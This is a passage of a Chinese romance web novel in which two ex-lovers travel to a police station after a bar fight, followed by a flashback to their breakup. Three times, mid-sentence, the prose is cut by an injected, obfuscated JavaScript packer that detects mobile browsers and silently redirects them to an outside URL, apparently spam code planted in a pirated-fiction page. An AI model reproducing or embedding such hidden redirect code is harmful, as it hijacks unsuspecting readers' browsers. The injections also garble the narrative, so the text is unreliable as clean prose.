Eden望着这姑娘,保护欲油然而生:“小姐姐你不用慌,一会儿去了有什么说什么就是了,监控里拍得清清楚楚!是那两个人渣存心找事儿,太缺德了,光会欺负女生和小动物,简直不是东西。” 明翊感激地冲他笑笑,也不接话。 想她这可能是还在害怕,Eden又忍不住开口给人喂定心丸:“而且一会儿扬哥跟你一块儿过去,有什么问题,你直接找他就行。” 这她当然知道,还是她主动提的。 “你也别害怕,我们老板这人就是嘴欠了点,人不坏,对女孩子还是挺温柔的,也能担事儿。” 听到这,明翊再也忍不住,抬眼对上他视线,不太确定地重复了一遍:“…你们老板?” 这店难不成还真是越之扬开的? “就刚刚在卫生间门口一句话不说,拿着个战损风贝斯凹造型的那个,你不记得啦?” Eden左右看了看,见没什么人,又冲她招招手,“你是不也觉得他特装,我第一眼见到他,就觉得,怎么能有人——” 明翊难得和别人产生共鸣,虽说这共鸣是指凑在一块儿说前男友的坏话。 心思一动,不自觉被吸引了注意。 她忍不住就真的把耳朵贴了过去,等待Eden接下来犀利的点评。 对面的声音却霎时收住。 哐。 面前忽然出现一罐可乐,重重磕在冰冷的大理石台面,瞧着像是刚从冰柜里拿出来的。 罐身还冒着寒气。 一侧头,明翊正对上越之扬不爽的视线。 对面眼神在她干干净净、毫无遮挡的脸上一扫而过,似乎也冒着寒气似的。 因为太热,明翊刚刚摘了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765349|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口罩。 她刚准备开口搭话,但越之扬这气势明显是不妙,顿了两秒,明翊若无其事移开目光。 倒是一旁的Eden直接尬在当场。 “哈哈,扬哥……你换衣服这么快啊?快走快走,一会儿人警察叔叔该等着急了。” 越之扬不为所动,视线从她身上移开,又转向柜台后的Eden。 “不着急,继续说啊。”他似笑非笑地挑一下唇,“我这人怎么了?” “……” 战火顺利转移。 场地内音响声震天,这块儿倒是相对安静。但也没安静多少,明翊觉得自己的魂儿都像是随着节奏感极强的鼓点在随处乱飘。 视线不自觉飘忽一阵,落在大理石灰的台面,又移到越之扬戴着半指手套的手。 忍不住就有些神游。 这人的左手正随意搭在易拉罐上,四指握住罐身,食指轻巧地扣住拉环。 一勾,气泡浮沫同时上涌。 可乐罐被他顺利地单手打开,一整套动作行云流水。 是真的装。 那边二人还在就‘刚刚说什么’这个话题进行拉扯。 明翊悄无声息收回眼,觉得实在是有些无聊。要是按这么个谈话效率,不如把声带捐给有需要的人,省的在这儿光张嘴不动脑子。随后,就像是鬼迷心窍般—— “还能说什么,说你这人装呗。” “……” 她直接给出了答案。 此话一出,在场三个人都诡异地安静了。 上一首曲目恰好演奏完,最后一截间奏落定,内场那边倏然静了几秒,紧接着,爆发出一阵山呼海啸般的喝彩。 明翊被这动静惊得理智回笼。 冷不防和越之扬一个对视。 男人淡色的唇轻抿,眉头紧紧皱着,表情既疑惑又无语。 远处,孙卓然似乎是在热场:“这位美女,您是我们今晚的幸运观众,可以自行点一首歌。请问您想点什么?” “啊我嘛我嘛!?真的是我啊啊啊!!!” “那个那个,我要点《你怎么连话都说不清楚》!” “……” 好家伙,这怎么还一箭双雕。 尴尬得可以当场去世了。 明翊现在是真恨不得挖个地洞逃离地球表面。 以前也不是没有互怼的时候,毕竟越之扬说话总是欠欠儿的,有时候被这狗怼得没办法了不得不奋起反击,二人嘴贱得有来有回。 甚至由于文字功底的加持,后来的她毒舌程度可能还要更胜越之扬一筹。 但是。 他们,现在,分手了啊! 是能说这种话的关系嘛! 静默三秒。 此刻明翊尤为不灵光的大脑缓慢运转着,最终觉得还是直接略过这个话题比较好:“那个……我们,走吗?” 她望向越之扬,缓慢眨了下眼。 对面并没有接下她这带着友好意味的妥协,脸色仍黑到极致。 场面又僵持住。 明翊已自觉做好了迎接战火的准备,垂下眼装鹌鹑。 不知过了有多久,事情却没像预想中那样发展。越之扬忽然绕过她,语气轻飘飘地落下句:“走了。” “今晚有事,庆功我就不去了。” 明翊刚松口气,准备跟上。 一旁的Eden火速接话:“哦哦,我知道了扬哥,一会儿保准把你的话给卓然哥他们带到!” 原来,不是对着她说的。 果然经过刚才那一出,估计是个人都不愿意再搭理她。 更别提越之扬这狗脾气。 踌躇间,Eden朝明翊眨眨眼,语气温柔地嘱咐:“快去吧,不要怕,有事儿直接往他身上推。” 明翊:“……” 她也得敢啊! 6. 06 走出LiveHouse,明翊才发现外头又下起了雪。 门前的彩色告示牌上落了层薄薄寒霜,有蜿蜒水痕顺势流淌,闪烁的霓虹彩灯折射出朦胧炫目的光晕,有些刺眼。 她别过头,轻轻揉了下眼。 这瞬间,总感觉越之扬的视线在她身上短暂落了一秒,结果侧头去看,只是错觉。 明翊收回眼,寒风刮得脸上一阵刺挠,发胀的大脑短暂得以清醒,她又想起刚才那句言辞不善的嘲讽,觉得除了鬼迷心窍也再没别的合理解释。 刚打算澄清,越之扬已抬脚往外走。 短短半分钟,这人不知何时喝光了那罐可乐,易拉罐被随手扔进门口的垃圾桶,黑色羽绒服的帽檐就擦着明翊的肩而过。 因这举动,明翊不自觉轻轻蹙了下眉。 二人起先是一前一后站着,距离并不算远。越之扬穿的是一件中长款羽绒服,尺寸大概到常人腿弯,但他个子高,于是这点长度便显得不够用。 明翊的余光恰好扫过他衣服下摆。 羽绒服勉强只盖到越之扬膝盖上方位置,白得晃眼的皮肤因为破洞裤的缘故整个大喇喇露在外面,隐约泛着青,看得她感同身受般打了个寒颤。 这人什么毛病,对气温没感知还是真的脑子缺根筋? 又是冰可乐又是破洞裤。 * 巡逻车就停在不远处。 核载七人,此刻两位民警正坐在前方,后车分为两排,一排是分隔式的两座,一排是一体式连座。 那黄毛整个蜷在后座,仅一人就占了整排的位置。 看到这场面,明翊有些无语。 越之扬自然是不会同意跟自己的手下败将挤在一块儿,她也没有跟流氓同坐顺道精神自虐的打算。 明翊关上门,就坐在这人身侧位置。 二人中间隔一个过道。 一路无话。 城市街景不断倒退,玻璃车窗上凝了层薄雾。 明翊偏过头缓缓呼出一口气,只觉得车内格外冷,气氛也压抑。 尽管犯事儿的人并不是她,她也依旧规规矩矩坐着,连双手都摆放得整整齐齐。 倒是越之扬—— 此刻这人眉眼低垂,似乎方才抡着贝斯揍人已经花光了所有的力气,这会儿子彻底颓了下去。 那模样既懒散又嚣张,像是对接下来会发生什么事都漠不关心。 明翊忍不住又想起Eden的话:有事儿直接往他身上推。 ……呵呵,完全靠不住。 还得想办法捞他一把。 说到底,事到如今连明翊也分不清今晚他俩儿到底是谁更倒霉:自己出来过个节想着好好放松一下,结果路遇前男友大战盲流子。 越之扬更是无妄之灾,好好的开业演出碰上这档子事儿。 怕是掐死她的心都有了。 二人虽然旧怨在前,但明翊觉得今天这事还是怪自己。 从地铁口就开始倒霉,而越之扬只是单纯地救猫又或是见义勇为,只是没掌握好尺度与方法。 归根到底,今天就算是没有越之扬,估计她也得想办法跟那两人干上一架再走趟派出所。 从头到尾,这都是她一个人的事。 如今也不是很想麻烦到越之扬头上。 看那黄毛的伤势似是不轻,要是定性为互殴,再掰扯不清,事情可能会更麻烦。 这么想着,明翊谨慎地朝前座民警开口询问:“警官,我们这事儿,应该不严重吧?” “是那两个人动手在先,而且之前在地铁站附近,那人就已经出言对我进行骚扰,很有可能是这方面的惯犯。” 想着要帮越之扬澄清一下,她又开口:“这事儿跟我——” 到嘴边的话却忽地卡住。 事到如今,明翊是真不知道该怎么称呼他,一时间竟找不到合适的身份。 男朋友,早就是过去式。 朋友…… 看刚才那状况,这人明显不可能再好声好气地拿她当朋友,到最后明翊也只能笼统带过。 “——我身边这位男性没有多大关系。” 越之扬:“……” 越之扬差点被她这话给气个半死。 冷冷撩起眼皮,正打算质问,又听那边温声道。 “他还是学生,滨江大学的。滨江大学您应该知道,他是滨大计科的学生,明年就快要毕业,成绩也很好。” “…如果有可能的话,能不能麻烦你们,稍微放宽点儿标准,毕竟他也只是好心路过帮个忙。” 窗外朦胧的夜景在明翊身上落了层模糊的光,将她整个人晕成道柔软的侧影,连带说出的话似乎也染上一层不易察觉的柔和。 温吞又好脾气,像是在祈求。 她难得在他面前露出这一面。 越之扬皱了皱眉,最终还是什么话都没说。 前座民警随口敷衍几句,具体情况还要回所里调查过之后再看,一切走程序,不能光凭她几句话就给这事定性。 不好再问,明翊识趣闭了嘴。 神经却依旧紧绷。 车内气氛冷清又肃穆,平白添了几丝令人心慌的紧张氛围。 明翊不是很能适应这种状况,就像是神经过敏,大脑快乱成个浆糊。她的手探进大衣口袋,下意识地想要抓住点儿什么来驱散心头的焦躁不安。 忽地,指尖触到了一层薄薄的塑料膜。 明翊摸了摸,是出门前放在口袋里预备拿来保暖的热帖。 这一天波折太多,一直没想起来用,如今还剩下最后一袋。 她从口袋里掏出热帖,慢条斯理地撕开包装纸,脑海里忽然就跳出越之扬青白的膝盖,挥之不去。 明翊扭头看去。 越之扬一双眼已经完全阖上,搭在眼睑的睫毛又密又长,整个人显得无害又温顺。 “……” 这是睡着了? 或许是汽车长途行驶间轻微的摇晃感莫名带来些令人放松的错觉,明翊的视线缓缓向下,又定在他袒露在外的膝盖。 情不自禁跟着打了个冷颤。 有句话叫,你妈觉得你冷。 此刻,正出神的明翊觉得这话的主语替换一下似乎也毫不违和。 你前女友觉得你冷。 而且要不是因为自己,越之扬今天也不会遇上这档子事,更不必在大冷天里跟着走一趟,还有可能惹出些不必要的麻烦。 心里陡然生出些歉疚,越来越清晰而猛烈。 手动得比脑子快,下一刻,她手中的热帖直接盖在了越之扬膝盖上。 空气也随之寂静。 “……” 靠。 理智骤然回神。 明翊一个激灵,有些不敢相信自己刚刚都做了什么,目光难以置信地转向已经空无一物的手。 很好,她不活了。 且不说把暖宝宝直接贴在裸肤上这究竟算是关怀还是谋杀。 就凭他俩如今这关系,这举动和刚才的鬼迷心窍有任何区别吗? 纠结几秒,觉得还是早点解释清楚为妙:“那个——” 明翊抬眼望过去,到嘴边的话却又卡住。越之扬没有动作,一双眼照旧合着。 似乎是……没醒? 不用费心解释,明翊暗暗松了一口气。 她用仅剩不多的理智试图冷静分析:这声音不算大,只是一片热帖,存在感也不会很强,而且没有贴在衣服上,撕下来不会特别麻烦。 所以,只要现在慢慢地、慢慢地去取下来,就可以装作什么都没发生。 决定过后,明翊也不多犹豫,直直地探出手去,双眼也一眨不眨地紧盯越之扬。 一秒。 两秒。 “……” 这人睡得像头猪。 就快要成功。 只剩下不到五厘米,手已经触到万恶之源的边缘。 即将大功告成之际,越之扬忽地一个侧头,双眼也慢腾腾睁开。 下一刻,二人视线在光线昏暗的车内严丝合缝对上。 “……” “……” 明翊默了默:“…你能接着睡吗?” 越之扬明显是被噎了下,目光从她大睁的双眼上移开,又慢悠悠落到膝盖,随即唇角轻轻向上一挑,无情拒绝。 “抱歉,好像是不能呢。” 明翊眉心一跳,心说不能那就算了,贴着就贴着,也不算什么大事。 但这人明显没有要放过她的意思。 “你这——”越之扬揪住热帖一角,将东西往上提了提,不紧不慢地开口,语调闲散,“是什么意思?” 一双眼也直勾勾望过来。 “……” 明翊顿了顿,视线定在他有些嚣张的眉眼。 平心而论,越之扬的眼睛生得很好看,是那种精雕细琢不输女孩儿的精致。 眼型狭长而细致,眼尾微微上扬,藏了些并不明显的弧度,上眼皮的褶子尤其深,却不显女态,反而平白带了点凌厉的锋芒。 那双眼里总没什么情绪。 但明翊觉得,现在这情况应该例外。 热帖的温度应该是上来了,她看见他明显皱了下眉,再加上还没来得及扯平的唇角,那表情既嚣张又欠揍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765350|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 要是没会错意,明翊无比笃定,此刻自己真的能从眼神里洞见别人的想法。 如果眼睛会说话,那么现在,越之扬大概率是在说: 你是不脑子有病? 像是被勾了魂,顺着之前的脑补,明翊的唇缓缓动了动:“哦,应该算谋杀吧。” “……” 越之扬神情一僵。 尴尬的气氛开始在空气里四下流窜。 与此同时,前座传来声低咳,将明翊的理智再度拉回。 她舔了舔唇,觉得自己大抵是失了智,又或许是鬼迷心窍2.0,在这种地方扯这些限制级话题。 但莫名的,今晚的心情似乎格外焦躁,难以自控。 她也没喝酒啊。 沉默了两三分钟,再没人说话。 琢磨着质量再不好,这会儿热帖的温度应该也是升到了一个裸肤无法忍受的程度。 她看过去:“你不取下来吗?” 越之扬淡淡投来一瞥:“哦,证物。我这儿应该是不怎么方便自己取吧。” “……” 这话说得实在是很有语言的艺术。 明翊懵了两三秒才跟上他的脑回路,慢半拍地意识到越之扬在说什么。 嗯,证物。 还能是什么证物? 大概是她试图用暖宝宝这种惊天大杀器惨烈又毫无人道地打算烫死他而未遂的证物。 那种好心被当驴肝肺的感觉再度冒了头,明翊开始自我谴责。 好端端地关心他冷不冷干什么,越之扬又不是生活不能自理,是个人都应该知道天冷了要加衣服,下雨了得往家跑。他这种情况一看就是:烧得慌。 根本不需要她来操心。 况且自己这边还冷着呢。 余光往越之扬那边瞟了两眼,明翊想既然这人不领情,那她就拿回来自己用。于是,在对面直白而又若有所思的目光下,她无比淡定地伸手。 嘶啦—— 这一声过后,世界彻底安静了。 明翊的思维有一瞬的断线。 越之扬今天穿的并不是那种直接豁个大口子的破洞裤。她起先没怎么注意,旧情人重逢,总不好意思直勾勾地盯着人家裤子看。 可现在,明翊觉得还不如直接就不要脸地扒着他的裤子看个彻底。 这条裤子的破洞边缘缝着密密麻麻的丝线,像一圈黑色的蛛网缠绕在四周。被这么一扯,热帖背面的粘胶连着线圈一起被她扒拉着。 剪不断理还乱。 明翊暗暗抽了口气,就这么停住—— 目光缓缓向下,望向自己的手,再移到越之扬的裤腿。 此刻,一半的黑线黏在热帖背后,一半缠在越之扬身上,要断不断。 她不敢松手,也不敢再使劲,眼睁睁看着那个原本只是露个膝盖的破洞俨然有再度扩大的趋势。 只觉得这热帖可真热帖啊。 热得跟个烫手山芋似的。 明翊抬眼望过去。 要是现在说自己不是故意的,只是不小心,会有人相信吗? 别人或许难说,但越之扬大概第一个不信。 果然,身侧传来她极为熟悉的、这人惯常用来表达情绪的嗤笑声。 越之扬的腿没动,上身却朝她的方向微微一侧,表情似笑非笑。 “你——这是换作案手法了?”他语气中嘲讽意味浓重,“还是说,对我这裤子,意见这么大?” 不是不知道越之扬嘴欠,但明翊也没想到,他能就这么揪住不放。 明眼人都能看出这是个乌龙,他偏要顺着先前的口误给人难堪。 明翊有点儿崩溃。 是啊,很有意见。 索不了前男友的命,只好索他裤子的命。 这番说辞,还算合理吗? 本想好好解释几句,毕竟这事算是她有错在先,但在对面一番毫不留情的打击下,这心思已然偃旗息鼓。 对上他这种惯会曲解他意且得理不饶人的性格,明翊几乎不用浪费什么想象力,就能模拟出解释之后会是怎样一番夹枪带棒的嘲讽。 于是果断顺着他的话将话题终结。 “是啊,很有意见。” “……” “丑得看不过眼。” 她语气平淡,伤人的话却毫不留情地像刀子一般咻咻咻往外冒:“不是一般的丑,丑得有点特立独行了。五米开外碰上你都不一定能瞧见你人,全被这丑裤子给吸引了。” 话毕,明翊又眨眨眼,很是刻意地叹了口气,倒像是在真心实意为他打算。 “换条裤子穿吧,越之扬。” 7. 07 重逢这么久以来,二小时又十三分钟。 这还是她第一次喊他的名字,却没想到是这么一番阴阳怪气的嘲讽。 越之扬的火气也渐渐冒了头:“原来你刚没认出我是因为这裤子啊,我还以为你——” 他冷冷道:“瞎呢。” 明翊一噎。 总觉得这场景莫名熟悉。 越之扬的脾气不算好,说话也总是不怎么中听,很少有人能受得了他这性格。 明翊应当算是个例外,或许是得益于女朋友这个特殊身份,她的待遇还算不错。越之扬在她面前总会收敛点儿,除了偶尔的斗嘴也再没别的大毛病。 二人常常把这种话当作玩笑来说。 但不管说出多过分的话,语气不会很重。 仅有的一次恶语相向,就是分手那次。 分手是在今年夏天,临近毕业。 明翊主动提的。分手前夕他们吵了架,那段时间事情太多,全部杂乱无章地堆到一起,明翊的生活也不顺,头重脚轻地扎进一堆麻烦里,期间免不了跟各种人吵,有没有跟越之扬吵,也记不太清了。 人对细节的记忆往往大于事情全貌,她只记得越之扬那时候的表情。 那天,正窝在沙发里联机打游戏的越之扬似乎愣了很久。 一声不吭。 他背对她坐在电脑前,因此明翊起初并没有注意到那张还透着青涩的脸上有什么让她意料之外的波动,唯有闪着光的电子屏幕不停跳动,像是某种厄运的预兆。 越之扬玩的是一款年代久远的像素风战斗游戏,画质不算好,时常卡顿。 明翊不太记得那游戏的名字,她这人对别人的事情其实很冷漠,哪怕对方是跟她处了两年亲密无间的男朋友。 鲜艳的电子屏幕很快暗下去,等到再回神,越之扬手里操纵的小人已经被残血的boss杀了个来回,倒地不起。 粗糙的画质闪动几下,屏幕上亮起巨大的GameOver字眼。 紧接着,画面一整个灰掉。 明翊听见他一如往常毫无起伏的散漫声线。 “明翊,你嘀嘀咕咕说什么呢?我怎么没太听清……” 他总是这样,不带什么感情地直呼她的名字。无论二人之间是甜蜜还是争吵,也只会剩下一个生硬的‘明翊’。 一副天塌下来也不会多去在意的模样。 明翊想,这样也好,至少现在这状况不至于多难以割舍。 她靠坐在沙发一侧的扶手旁,手里抱着半杯冷掉的水,不动声色将所有情绪抽离。 “我说越之扬,我们分手。” 房间里安静了有两三分钟,除了略显嘈杂的游戏背景音外再无其他声响。 越之扬起身,游戏手柄被随意地扔在沙发上,他略显烦躁地抓了把头发,走上前关掉游戏。 叽里呱啦的音效被陡然切断,于是这下,压抑而沉重的呼吸声在这寂静的空间里显得过分刺耳。 越之扬回头看她,漂亮的唇线紧抿。 他皱着眉,漆黑的双眸也像是变得暗沉沉:“不是明翊,我……我又怎么你了?” 那声音很轻,是某种耗空了所有力气之后细若游丝的狼狈与疲倦。 明翊愣了下。 视线对上的那刻,她才发现越之扬颧骨处贴着个很明显的创可贴,似乎是受了伤,也不知道是又和谁出去打架了。 那段记忆荒芜又纷杂,对明翊来说,世界像是陡然长满了丛生的杂草,目光所及之处,她只看得到自己,无心再关注旁人。 但盯着那双眼睛,明翊还是讷讷问了句:“你受伤了。是发生什么事了吗?” 她鲜少有这样主动询问的时候。 很多时刻,明翊总感觉这世界像是和她隔着一层,无论相处的时间长或短,付出的感情浓烈或是浅薄,别人都只是途径了她的人生,不会有长久的停留,因此也没多问的必要。 但那瞬间,她忽然就很想问一句。 只要越之扬肯回答,哪怕是敷衍也好。 她想被人抓住,不管是谁。 但他只是抿着唇淡声敷衍:“跟你没关系,别多管闲事。” “……” 明翊很快垂下眼。 因而没能看到,越之扬闪躲的目光里有一瞬的不自然。 从前也不是没有这样的时候,或许真是她一开始就做错了,跟他提些地下恋之类的馊主意。两个人不常见面,不管是物理距离还是精神距离,似乎总隔着一层。 明翊习惯性地不去询问,久而久之,越之扬像是也懒得再搭理她。 他有自己的社交圈,自己的朋友,他们聚在一起做些什么,明翊很少去探究。所以就连受伤这种事,越之扬也瞒着她。 她从没跟他说过,她其实不喜欢这样。 甚至说,讨厌这种感觉。 可别人似乎也没有必要因此而迁就她。 那瞬间,就像是风筝断了线,明翊的大脑有一瞬的空白。 她恍惚着应了一声。 “行,那你记得去医院看看。没什么事的话,我就先走了。” 越之扬觉得荒唐:“不是,你这什么意思?什么叫‘先走了’?” “…我没说吗?”明翊顿住,看向他的眼神里还带些茫然,“就分手的意思。” 那段时间她的睡眠质量几乎是差到了极点,因此记忆力并不算好。 疑心真是自己忘了,明翊只好又重复了一遍。 “越之扬,我想分手。” “……” 过了一会儿。 他才沉声问:“…为什么?” “不为什么,就是觉得有点累,不想谈了。” 这理由敷衍得太明显。 对面忽然就沉默下去,明翊想他应该是对自己无话可说。 而她这边,似乎也再没什么话好讲。 便生疏客套地一颔首,打算回房间收拾东西。 刚走到门口,浓烈的薄荷香气阒然而至,去路被一只手臂硬生生截住。狭小的出租屋内,越之扬将她堵在门口,声音冷得有点吓人。 “累?咱俩儿谈成这样的,你觉得累?” “……” 平心而论,这话荒唐得有些过分了。 因为明翊几乎没在这段感情里投入多少时间,越之扬有她这个女朋友,和没有也无甚区别。 那边很快自行找了个理由。 “是因为我跟你吵架了?” “但你说说这事儿是不是你做的不对?你跟我道个歉认个错不就完事了?我也不想和你这样吵……” 越之扬本来也没多生气,只当她是在闹脾气,可很快,这念头就被打消。 不知是哪个字眼戳中了她的神经,明翊忽然就冷声打断他:“我不是很想谈这些,你觉得是我的问题,那就是吧。” “但我觉得,我们还是分开比较好。” “……” 沉默须臾,越之扬也再按捺不住火气:“不是明翊,哪有吵个架忽然就要分手的?你家谈恋爱是这样谈的?” 他大概是觉得她还在赌气,话题始终绕在这个上面,明翊想说不是这样。 一侧头,目光里清晰明了映出这人脸上略显突兀的怒意。 他本就不算多好脾气的人,长相凌厉,平日里总懒懒散散。一旦生起气来,那股自带的压迫感显露无疑,威势极盛。 撞见这场面,明翊的大脑几乎是一瞬间炸开。 “没有吗?”她避开他的视线,佯装平静,“那现在有了,你习惯一下吧。” “……” 耳边忽地传来道极清晰的冷笑声。 “你什么意思,耍着我玩呢?” “……” “说好的留下来,转头就签了老家的工作,你这瞒天过海玩得挺熟练啊。”越之扬冷冷笑一声,“如果我没发现,你打算瞒我多久?” 明翊没吭声。 视线越过这人肩膀,看向了木桌上搁着的文件袋,里面是几小时前被越之扬翻出来的三方协议。 签署人:明翊。 地点:江宁市。 跟他没有一丝一毫的关系。 她再一次、熟练地将自己完全排除出她的世界。 想到这,越之扬呼吸一沉,语气越发不耐:“…别装哑巴,说话。” 那头却还是沉默。 越之扬也再按捺不住火气,直接就扳过她的脸,强迫明翊的视线定在自己身上。 他想看着她的眼睛。 他试图从那双眼里抓住任何一分有可能属于闹别扭或是玩笑的违心成分,哪怕一丝一毫。 然而结果令人失望。 那双眼清澈干净,除了迷茫与不易察觉的排斥外,再无其他情绪。 越之扬撑在门框边的手不自觉发力,手臂肌肉绷得很紧。 明翊落到那上面的视线像是忽然被烫了一下,下意识移开目光。 理智的弦骤然一松。 她刻意忽略他的话,只随口敷衍,试图解释自己行为的合理性:“大学情侣不都是这样?学校里随便谈一谈,等到毕业之后,听家里的安排…工作、结婚。” “…你觉得我们和他们一样?” “有什么不一样,不都是人?是人就要这样。” 她声音淡淡,平稳得像一潭死水,内里不会有任何的波澜。 越之扬忍无可忍。 “你这说的什么鬼话……” 他上前两步,逼得更近,安全距离被打破。那瞬间,明翊只觉得大脑一片空白,浑身的刺似乎都竖了起来。 她其实不怎么擅长处理别人的愤怒,骨子里本能抗拒所有的冲突与暴力,更何况这事还是她理亏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765351|174557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只想赶快结束这种氛围。 “你觉得是我的错,当然可以,就算是我玩你。” “现在我玩够了,想撤了,不行吗?” 这话落下的瞬间,连明翊自己都吓了一跳。 与此同时,由于仓皇间漫无目的地后退,她的背重重磕到了身后半阖的门板,强烈的痛楚自脊骨处传来。 因泪意而模糊的视线里,越之扬伸出想要拉住她的那双手,缓缓收了回去。 他没再上前。 喉间止不住发涩,明翊吸了吸鼻子,只低头盯着自己的鞋面,想说点儿什么,却又无从开口。 长到几乎无休止的沉默里,头顶传来越之扬咬字极重的声线。 “你看着我,再说一遍。” 她其实不敢抬头去看他的表情,但被逼到这个境地,也没办法再躲避,只好硬着头皮抬眼。 原本已被暗自整理好的情绪在这时刻却有一瞬间的错愕。 因为越之扬的眼神。 那目光,就像是前不久刚刚黯淡下去的电子屏幕。 鲜艳褪去后,只余一片荒芜的灰败。 * 时至今日,明翊仍旧不太敢去探究那双眼里曾经装着的情绪是什么,骤然失去的神采又属于什么。 既然已成定局,很多事情到这个地步,就已经足够。 真要摊开来说的话,他们的分手确实不算多愉快。 所谓的和平也只是分开过后,二人体面地谁也没有再纠缠对方,由此产生了某种似乎这件事从头到尾都顺顺当当的错觉,连当初的争吵也被蒙上了一层和气的面纱。 但成年人之间默认的处事原则似乎就是这样。 因为没有足够的时间来斤斤计较,在一段感情里分出到底谁对谁错,所以十分追求效率地将事情的收尾当做对这段感情的最后注解。 结束得体面,那么过程再不堪,也算周全; 如果闹得不可开交、非要争个你死我活,下场人尽皆知,那么就连最开始的甜蜜心动也可以一并抹杀。 在那条朋友圈之前,明翊从来就没预想过越之扬会有纠缠不休的可能性。 所以对于如今他的咄咄逼人,明翊也没多少意外的情绪。毕竟她现在确实不属于值得和颜悦色的待遇。 身侧响起道极清晰的嘶啦声,是越之扬将黏在他裤腿上的热帖直接撕了下来。 …… 很快到达派出所。 二人作为当事人,向负责的民警陈述情况。 越之扬的话很少,几乎只有在问起他时才简短地回复几句。倒是明翊这边很是积极,指证过后,还向负责人出示了此前手机里拍摄的照片与视频作为证据。 她不知道这些东西有没有用,但想来有总比没有好。 事情没有先前想得那么严重,那黄毛和他的同伙之前就因为寻衅滋事被人薅到过派出所几次,这回已经不知道算是几进宫了。 至于越之扬,口头教育过后,罚几百块钱也就没事了。 因为分属于两桩控告,她这边结束得比越之扬要早。 离去前,纠结着要不要等他一起。 但想起二人刚才那番不友善的言论,明翊也很快作罢。只从民警那边咨询了下罚款金额,就打车离开。 十五分钟后,越之扬才出来。 视线在空荡荡的警务大厅一扫,几乎没多少意外的情绪。 就像过去的那些年里,这个人从来也不会等他。 将那点儿可笑的痴心妄想很快收起,越之扬又抬脚朝一侧的办公桌走去。 “年轻小伙子,脾气冲。知道你关心女朋友,但下手也得悠着点儿,要不是那人有案底,看你又是学生,你小子今天也得进去冷静冷静!” 负责人是位中年警官,此刻抱着保温杯朝低头签字的人一瞥,开始例行教育:“也别臭着张脸,惹女朋友生气了多哄哄就是,我看那姑娘还挺关心你的。估计是瞧见你受伤,出去给你买药去了,一会儿两人有什么话好好说,别一言不合就吵嘴。” 越之扬倒是没想到这民警这么热心,对情侣间的矛盾也颇有心得。 但他也没多少想解释的念头,只将东西递回去,又用眼神示意那张被血渍污了的回执单:“您看看这单子还能用吗?不行的话,我再给您重新签一份儿?” 民警摆摆手。 “不用不用,快回吧,我瞅着这时间也不早了。别让人小姑娘等急了。” 几次三番被戳伤口,至此,始终压抑的情绪似是终于找到个出口。 “她才不会。”越之扬淡淡嗤一声。 因这话,中年男人诧异地投去一眼。 见那年轻男孩儿垂下的眼皮缓缓抬起,脸上扯着个满不在乎的笑,口吻又重回一贯的漫不经心。 “她嫌烦,又赶时间,就不在我这儿浪费人生了。” 8. 08 明翊也曾后悔过,当初不该说那样的话。 那并不是她的本意。 可一旦情绪上头,言语似乎就会变成最不受控的武器,由不得她多去抉择,只一心想着让自己回到舒适的安全区域,躲避掉所有纷争。 那瞬间,这似乎是她唯一能做出的防备。 但不得不承认,她表现得太过尖锐,伤害了本无意伤害的人。 …… 出租车在清水湾附近的路口停下,后座的人半晌未动。 师傅忍不住出声提醒:“姑娘,到了。” 车载空调一直开着,暖烘烘的,热风吹得人头脑发烫。明翊觉得自己似是也一时恍神:“哦,谢谢师傅。” 从回忆中抽离,她如梦初醒般慢吞吞解开安全带。 下了车,朝小区走去。 路上忍不住又想起越之扬刚才的话。 ——我还以为你,瞎呢。 “……” 他似乎很讨厌她。 从在LiveHouse卫生间门口,就始终是一副懒得多搭理她的模样,之后更是恶语相向,如果不是两人确实是结结实实走了趟派出所,明翊都要怀疑今晚救她的或许是别人。 她不是狼心狗肺的人,不至于别人帮了她之后还熟视无睹。 但二人关系实在尴尬,越之扬那边似乎也完全没有任何叙旧的打算,那句早就准备好的‘谢谢’就这样一直卡在嗓子眼里,无论如何也说不出口。 心里装着事儿,这感觉像是连走路也走不稳当。她拿出手机,默默计算了下今晚的额外支出:一万八的贝斯打个对折就是九千,外加五百块罚款,谢礼按人均四百的餐厅折价—— 明翊直接给越之扬转了一万过去。 “……” 近两月的工资一夜之间打了水漂。 她额角一抽,觉得今晚这‘放松’可真够昂贵。 好在也并不缺钱。 之前大学兼职时攒下不少,明翊也不是多爱花钱的性格,除了衣食住行外再没别的消费,虽说是刚刚步入职场,但也不至于一摸兜两手空空。 只是一下子支出这么大额的款项,上个月又刚续了一季度房租,接下来倒是真得精打细算着过日子。 回到家已经接近十二点。 